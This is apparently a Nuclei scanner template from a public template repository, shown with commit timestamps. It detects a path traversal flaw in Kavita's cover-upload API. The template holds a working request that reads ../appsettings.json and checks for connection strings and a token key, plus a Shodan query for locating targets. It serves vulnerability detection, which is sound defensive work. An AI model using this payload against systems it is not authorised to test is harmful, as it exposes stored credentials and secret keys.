nuclei-templates/vulnerabilities/other/kavita-lfi.yaml

40 lines
961 B
YAML
Raw Normal View History

2022-08-12 07:11:00 +00:00
id: kavita-lfi
info:
name: Kavita - Local File Inclusion
2022-08-12 07:11:00 +00:00
author: arafatansari
2023-03-03 15:27:54 +00:00
severity: high
2022-08-12 07:11:00 +00:00
description: |
Kavita - Path Traversal is vulnerable to local file inclusion via abusing the Path Traversal filename parameter of the /api/image/cover-upload.
2022-08-12 07:11:00 +00:00
reference:
- https://huntr.dev/bounties/2eef332b-65d2-4f13-8c39-44a8771a6f18/
metadata:
2022-08-12 10:44:39 +00:00
verified: true
2022-08-12 07:11:00 +00:00
shodan-query: http.html:"kavita"
tags: kavita,lfi,huntr
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
2022-08-12 10:44:39 +00:00
2022-08-12 07:11:00 +00:00
requests:
- method: GET
path:
- '{{BaseURL}}/api/image/cover-upload?filename=../appsettings.json'
matchers-condition: and
matchers:
- type: word
2022-08-12 10:44:39 +00:00
part: body
2022-08-12 07:11:00 +00:00
words:
2022-08-12 23:23:16 +00:00
- '"ConnectionStrings":'
- '"Path":'
- '"TokenKey":'
2022-08-12 07:11:00 +00:00
condition: and
2022-08-12 10:44:39 +00:00
- type: status
status:
- 200
# Enhanced by mp on 2023/01/15